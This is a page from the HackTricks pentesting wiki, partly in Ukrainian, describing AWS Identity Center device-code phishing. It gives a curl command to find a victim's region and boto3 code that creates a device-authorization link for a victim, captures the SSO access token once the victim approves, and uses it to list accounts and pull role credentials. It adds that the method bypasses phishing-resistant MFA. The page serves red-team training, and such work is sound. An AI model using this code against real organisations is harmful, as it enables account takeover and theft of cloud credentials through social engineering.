AWS - Identity Center & SSO Unauthenticated Enum

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

AWS Device Code Phishing

Initially proposed in this blog post, it's possible to send a link to a user using AWS SSO that if the user accepts the attacker will be able to get a token to impersonate the user and access all the roles the user is able to access in the Identity Center.

In order to perform this attack the requisites are:

  • The victim needs to use Identity Center
  • The attacker must know the subdomain used by the victim <victimsub>.awsapps.com/start

Just with the previous info, the attacker will be able to send a link to the user that if accepted will grant the attacker access over the AWS user account.

Attack

  1. Finding the subdomain

The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via OSINT or guessing + BF as most companies will be using their name or a variation of their name here.

With this info, it's possible to get the region where the Indentity Center was configured with:

bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Згенеруйте посилання для жертви & Надішліть його

Запустіть наступний код, щоб згенерувати посилання для входу в AWS SSO, щоб жертва могла автентифікуватися.
Для демонстрації запустіть цей код у python-консолі і не виходьте з неї, оскільки пізніше вам знадобляться деякі об'єкти для отримання токена:

python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Надішліть згенероване посилання жертві, використовуючи свої відмінні навички соціальної інженерії!

  1. Чекайте, поки жертва його прийме

Якщо жертва була вже logged in AWS їй потрібно лише підтвердити надання дозволів; якщо ні, їй доведеться login, а потім підтвердити надання дозволів.
Ось як зараз виглядає цей запит:

  1. Отримати SSO access token

Якщо жертва прийняла запит, запустіть цей код, щоб згенерувати SSO token, видаючи себе за користувача:

python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO access token дійсний протягом 8h.

  1. Видати себе за користувача
python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing проти unphisable MFA

Цікаво знати, що попередня атака працює навіть якщо використовується "unphisable MFA" (webAuth). Це тому, що попередній workflow ніколи не покидає використаний OAuth domain. Не так, як в інших phishing атаках, де користувач повинен підмінити домен входу; у цьому випадку device code workflow підготовлений так, що code відомий пристрою, і користувач може увійти навіть з іншої машини. Якщо prompt буде прийнято, пристрій, просто знаючи початковий code, зможе отримати credentials для користувача.

Для додаткової інформації перегляньте цю публікацію.

Автоматичні інструменти

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks